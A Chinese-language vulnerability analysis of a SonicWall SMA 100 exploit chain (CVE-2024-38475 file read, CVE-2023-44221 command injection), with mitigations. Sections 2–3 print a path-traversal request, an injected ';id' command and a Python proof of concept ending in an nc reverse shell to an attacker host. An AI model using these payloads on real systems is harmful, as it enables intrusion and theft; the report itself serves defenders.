
摘要
本報告分析了SonicWall Secure Mobile Access (SMA) 100系列設備中兩個關鍵漏洞的技術機制——
CVE-2023-44221
(認證後命令注入)與
CVE-2024-38475
(認證前任意檔案讀取)。這些漏洞若被串聯利用,未經認證的攻擊者可劫持管理員session、執行任意命令,並完全危害設備。本研究剖析了Apache
mod_rewrite
設定錯誤、命令注入漏洞及其現實世界的利用路徑,輔以逆向工程的程式碼邏輯與網路協定分析。

1. 簡介
SonicWall SMA設備是為提供安全遠端存取而設計的企業級VPN閘道器。然而,其Apache HTTP伺服器實作與SSL-VPN管理介面中的漏洞使這些設備暴露於攻擊之中。CISA已將這兩個漏洞列入其已知被攻擊漏洞(KEV)目錄,確認其在現實中被積極攻擊。本報告聚焦於:
-
CVE-2024-38475
:Apache
mod_rewrite
中的 Path traversal 漏洞,允許未經認證的檔案讀取。 - CVE-2023-44221 :認證後的作業系統命令注入(OS command injection)漏洞。
2. 漏洞分析
2.1 CVE-2024-38475:認證前任意檔案讀取
根本原因
:此漏洞源於Apache
mod_rewrite
模組中不當的路徑處理。在處理URL時,
r->filename
被視為URL路徑而非檔案系統路徑,使攻擊者可利用URL編碼的問號(
%3F
)截斷路徑。
攻擊機制 :
-
RewriteRule設定錯誤
:
SonicWall的Apache設定包含一個有漏洞的
RewriteRule
:RewriteRule ^/(.+)\.[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[A-Za-z0-9]*-[0-9]+.*\.css$ /$1.css
此規則試圖提供版本化的CSS檔案,但未限制路徑解析至
DocumentRoot
(/usr/src/EasyAccess/www/htdocs
)。攻擊者透過注入%3F
,可繞過附加的後綴(例如.css
)並穿越目錄(Traverse directories)。 -
任意檔案存取範例
:
對
https://<target>/static/css/../../../../etc/passwd%3F
的精心設計請求會截斷路徑,解析為/etc/passwd
而非預期的CSS檔案。這允許提取敏感檔案,例如包含有效session token的SQLite資料庫(/usr/src/EasyAccess/var/db/main.db
)。
影響 :未經認證的攻擊者可竊取管理員session cookies,劫持帳戶並提升權限。
2.2 CVE-2023-44221:認證後命令注入
根本原因 :SSL-VPN管理介面在診斷選單中未妥善過濾使用者輸入。認證後的攻擊者可透過精心設計的參數注入作業系統命令。
攻擊流程 :
-
Session劫持
:利用CVE-2024-38475從
main.db
提取session token。 -
命令注入
:
使用竊取的管理員憑證,向
/cgi-bin/Diagnostics
發送POST請求,帶有惡意的diagnostics_command
參數:POST /cgi-bin/Diagnostics HTTP/1.1 ... diagnostics_command=ping+-c+3+127.0.0.1;id
id
命令以nobody
使用者身份執行,進一步實現權限提升。
影響 :攻擊者可獲得遠端程式碼執行(RCE),修改防火牆規則或部署惡意軟體。
3. 攻擊鏈與現實世界利用
-
階段1 – 初始存取
:
利用CVE-2024-38475下載
main.db
並提取有效的session token。 -
階段2 – 橫向移動
:
使用竊取的token以管理員身份進行認證。
-
階段3 – RCE
:
透過劫持的session觸發CVE-2023-44221,執行命令(例如反向shell )。
概念驗證(PoC) :
WatchTowr Labs展示了可行的漏洞攻擊鏈:
- # Step 1: Extract session token via CVE-2024-38475
- import requests
- response = requests.get("https://<target>/static/css/..%2F..%2F..%2F..%2Fusr/src/EasyAccess/var/db/main.db%3F")
- session_token = extract_token(response.content)
- # Step 2: Execute commands via CVE-2023-44221
- headers = {"Cookie": f"sessionID={session_token}"}
- payload = {"diagnostics_command": "ping -c 3 127.0.0.1; /bin/sh -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attacker_ip> 4444 >/tmp/f'"}
- requests.post("https://<target>/cgi-bin/Diagnostics", headers=headers, data=payload)
4. 緩解策略
-
更新部署
:
-
升級至韌體版本
10.2.1.14-75sv
(CVE-2024-38475)與10.2.1.10-62sv
(CVE-2023-44221)。
-
升級至韌體版本
-
網路強化
:
- 限制WAN對SMA管理介面的存取。
-
監控對
/static/css/*
或%3F
模式的異常請求。
-
程式碼審計
:
-
驗證
mod_rewrite
規則並過濾CGI處理程式中的輸入。
-
驗證
5. 與物聯網漏洞的比較分析
SonicWall的漏洞反映了物聯網/邊緣設備中的系統性問題:
-
不安全的預設設定
:過於寬鬆的
RewriteRule
指令暴露關鍵檔案。 - 層次化認證繞過 :結合認證前與認證後漏洞放大攻擊影響。
-
舊版程式碼庫風險
:由於不良的更新實踐(Poor update practices),企業設備中持續存在過時的Apache版本(
2.4.59
)。
6. 結論
CVE-2023-44221與CVE-2024-38475凸顯了不當輸入驗證與不安全第三方程式庫的危險性。漏洞攻擊鏈強調了嚴格程式碼審查、及時更新與深度防禦策略的必要性。企業必須優先進行韌體更新,並採用入侵偵測系統以識別利用嘗試。